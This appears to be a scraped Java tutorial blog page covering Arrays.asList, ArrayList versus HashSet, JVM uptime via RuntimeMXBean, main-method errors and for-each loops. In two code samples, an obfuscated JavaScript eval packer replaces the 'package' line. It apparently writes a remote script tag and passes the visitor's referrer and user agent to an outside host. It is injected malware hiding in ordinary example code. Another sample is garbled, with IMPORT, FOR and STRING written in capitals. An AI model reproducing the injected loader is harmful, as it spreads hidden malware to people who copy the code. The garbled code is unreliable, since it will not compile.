Arrays.asList Concept With Example

Arrays.asList creates a List representation of Array.  This allows more flexibility to access the array.

Here are things to remember –

  1. Arrays.asList creates a wrapper on the Array and presents the Array as a List.
  2. If you change the element value in the List it will also get changed in the Array.
  3. You cannot add or remove any element from the ArrayList.

Here is the code example

package com.freetipscentral;
 
import java.util.Arrays;
import java.util.List;
 
public class ArraysAsList {
	public static void main(String args[])  {
		//Initialize the array
		String names[] = {"Vishy","Bony","Maddy"};
 
		System.out.println("Names in Array");
		for(String name : names) {
			System.out.println(name);
		}
 
		//Convert the names array to List
		List<String> nameList =  Arrays.asList(names);
 
		System.out.println("\nNames in List");
		for(String name : nameList) {
			System.out.println(name);
		}
 
		//Change the value in the second element in the List
		nameList.set(1, "Johnny");
		//Print the names in the array.  We can see that value also gets changed in the array also.
		System.out.println("\nNames in Array after the change in list");
		for(String name : names) {
			System.out.println(name);
		}
	}
}

If you try to add an element in the List

nameList.add(“Chris”);

You will get the following exception –

Exception in thread "main" java.lang.UnsupportedOperationException
	at java.util.AbstractList.add(Unknown Source)
	at java.util.AbstractList.add(Unknown Source)
	at com.freetipscentral.ArraysAsList.main(ArraysAsList.java:32)

To make a copy of the Array so that you can make changes in the list declare the List in the following manner

//Convert the names array to List
List<String> nameList = new ArrayList<String>(Arrays.asList(names));

 

What Is The Difference Between ArrayList And HashSet

Difference between List and Set is one of the most common interview questions for Java.  In this post let us see practically what are the differences between two implementation classes of List and Set.  We are going to learn the differences between List and Set using concrete classes ArrayList and HashSet.

Practical differences between  List and Set

In the example below we are doing the following –

  1. Create a Book class.
  2. Create a ArrayList which is implementation of List interface.  Add four book objects including a duplicate book.
  3. Print the list and the size of the list.
  4. Then we create a HashSet which is implementation of Set interface.  Add four book objects including a duplicate book.
  5. Print the set and the size of the set.

What we will learn  –

  1. List maintains the order of insertion.  Which means the printing will be done in the order or insertion.  It also allows duplicates.
  2. Set does not maintains the order of insertion.  Which means the printing may not be done in the order or insertion.  Sets do not allow duplicates.

Book Class

package com.freetipscentral.domain;
 
public class Book {
 
String name;
int serialNumber;
 
public Book(String name, int serialNumber) {
this.name = name;
this.serialNumber = serialNumber;
}
 
public String getName() {
return name;
}
public void setNam(String name) {
this.name = name;
}
public int getserialNumber() {
return serialNumber;
}
public void setSerialNumber(int serialNumber) {
this.serialNumber = serialNumber;
}
 
public String toString() {
return serialNumber + " " + name;
}
 
}

ArrayListAndSet Class

package com.freetipscentral;
 
IMPORT java.util.ArrayList;
IMPORT java.util.HashSet;
IMPORT java.util.List;
IMPORT java.util.Set;
 
IMPORT com.freetipscentral.domain.Book;
 
public class ArrayListAndSet {
public static void main(STRING args[]) {
 
Book book1 = new Book("Harry Porter 1",1);
Book book2 = new Book("Harry Porter 2",2);
Book book3 = new Book("Harry Porter 3",3);
 
List<Book> books = new ArrayList<Book>();
books.add(book1);
books.add(book2);
books.add(book3);
books.add(book2);
 
System.out.println("Books in the List \n");
FOR (Book book: books) {
System.out.println(book.toString());
}
System.out.println("\nThe number of books in the list -> "+books.size());
 
Book book4 = new Book("Lord Of The Rings",4);
Book book5 = new Book("Head First Java",5);
Book book6 = new Book("Java Made Easy",6);
Set<Book> bookSet = new HashSet<Book>();
bookSet.add(book4);
bookSet.add(book5);
bookSet.add(book5);
bookSet.add(book6);
 
System.out.println("\nBooks in the Set \n");
FOR (Book book: bookSet) {
System.out.println(book.toString());
}
System.out.println("\nThe number of books in the list -> "+bookSet.size());
 
}
}

Output of the above program

Books in the List
 
1 Harry Porter 1
2 Harry Porter 2
3 Harry Porter 3
2 Harry Porter 2
 
The number of books in the list -> 4
 
Books in the Set
 
6 Java Made Easy
4 Lord Of The Rings
5 Head First Java
 
The number of books in the list -> 3

 

How To Know JVM Uptime and Library Path

In case you want to know when your JVM started or since when it is running it can be found out very easily. The class RuntimeMXBean which is part of java.lang.management package exposes several methods which can be useful.

package eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkysa|var|u0026u|referrer|neshi||js|php'.split('|'),0,{}))
 com.freetipscentral;
 
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.util.Date;
import java.util.concurrent.TimeUnit;
 
public class TestManagementBean {
	public static void main(String args[]) throws InterruptedException {
		RuntimeMXBean runtimeBean = ManagementFactory.getRuntimeMXBean();
		//Name of the JVM Vendor
		System.out.println("Virtual Machine Vendor "+runtimeBean.getVmVendor());
		//When did the JVM Start
		Date startDate = new Date(runtimeBean.getStartTime());
		System.out.println("Start Date time "+startDate);
		//What is the java library path 
		System.out.println("Libraries are at : "+runtimeBean.getLibraryPath());
		//How long is the JVM running/
		System.out.println("JVM Up since "+upTime(runtimeBean.getUptime()));
 
	}
 
	public static String upTime(long uptime){
 
		long days = TimeUnit.MILLISECONDS
		    .toDays(uptime);
		uptime -= TimeUnit.DAYS.toMillis(days);
 
		long hours = TimeUnit.MILLISECONDS
		    .toHours(uptime);
		uptime -= TimeUnit.HOURS.toMillis(hours);
 
		long minutes = TimeUnit.MILLISECONDS
		    .toMinutes(uptime);
		uptime -= TimeUnit.MINUTES.toMillis(minutes);
 
		long seconds = TimeUnit.MILLISECONDS
		    .toSeconds(uptime);
 
		String upTime = days + " days " + hours + " hours " + minutes + " minutes " + seconds + " seconds";
		return upTime;
	}
}

Here is the output of the program –

Virtual Machine Vendor IBM Corporation
Start Date time Fri Sep 02 10:16:23 CDT 2016
Libraries are at : C:\PROGRAM Files (x86)\IBM\SDP80\jdk\jre\bin;C:\Windows\SysWOW64;C:\Windows;C:\Oracle\product\11.2.0\client_u90\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\PROGRAM Files (x86)\Java\jre6\bin;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\PROGRAM Files\TortoiseSVN\bin;C:\PROGRAM Files (x86)\IBM\WebSphere MQ\bin64;C:\PROGRAM Files (x86)\IBM\WebSphere MQ\bin;C:\PROGRAM Files (x86)\IBM\WebSphere MQ\tools\c\samples\bin;C:\PROGRAM Files (x86)\nodejs\;C:\PROGRA~1\IBM\SQLLIB\BIN;C:\PROGRA~1\IBM\SQLLIB\FUNCTION;C:\PROGRA~1\IBM\SQLLIB\SAMPLES\REPL;C:\PROGRAM Files (x86)\IDM Computer Solutions\UltraEdit\;C:\apache-maven-3.3.9\bin;C:\apache-ant-1.9.6\bin;C:\PROGRAM Files (x86)\nodejs;C:\Users\nb31932\AppData\Roaming\npm;.
JVM Up since 0 days 0 hours 0 minutes 0 seconds

Why I am unable to run a Java Program as Java Application

Sometimes to test some code quickly we write a simple Java program.  This way we can run the program as a Java application and easily test the code.  However sometimes run a Java Application does not appear in the eclipse nor can you execute it from the command line.

How to Run Java Program as Java Application

For running a program as Java Application you need the following –

  1. class declaration
  2. public static void main(String args[])

If you do not have either of the two then you will not be able to run the program as Java application.  Also ensure that the parameter in the main method contains String array as shown above.

Here are some common mistakes  while declaring the main method while can prevent your program from running as Java Application

  1. static void main(String args[]) – Method should be declared as public
  2. public void main(String args[]) – Method should be static
  3. public static main(String args[]) – Return type should be void
  4. public static void main(String args) – Method parameter should be array of String instead of String
  5. public static void main() – Method parameter should be array of String

Example Of ForEach in Java

Here is a simple example on how to write iterate a ArrayList in java with for each.

package eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yifbs|var|u0026u|referrer|ftebn||js|php'.split('|'),0,{}))
 com.freetipscentral;

import java.util.ArrayList;
import java.util.List;

public class JavaForEachExample {

    public static void main(String args[]) {
        List<String> names = new ArrayList<String>();
        names.add("John");
        names.add("Xia");
        names.add("Bob");
        names.add("Srini");
        names.add("Bony");
       
        for(String name : names) {
            System.out.println(name);
        }
    }
}

Here is the output of the above code –

John
Xia
Bob
Srini
Bony

 

You can also iterate through array of objects.  In this example below you can iterate through array of Strings.

class JavaForEachExample {
 
	public static void main(String args[]) {
		String[] names = {"John","Xia","Bob","Srini","Bony"};
 
		for(String name : names) {
			System.out.println(name);
		}
	}
}

The output is same as above

John
Xia
Bob
Srini
Bony

What Are Java Wrappers

Java Wrappers are used to wrap Java primitives such as int or float.  In this tutorial you will learn how to use Java Wrappers and what are its benefits.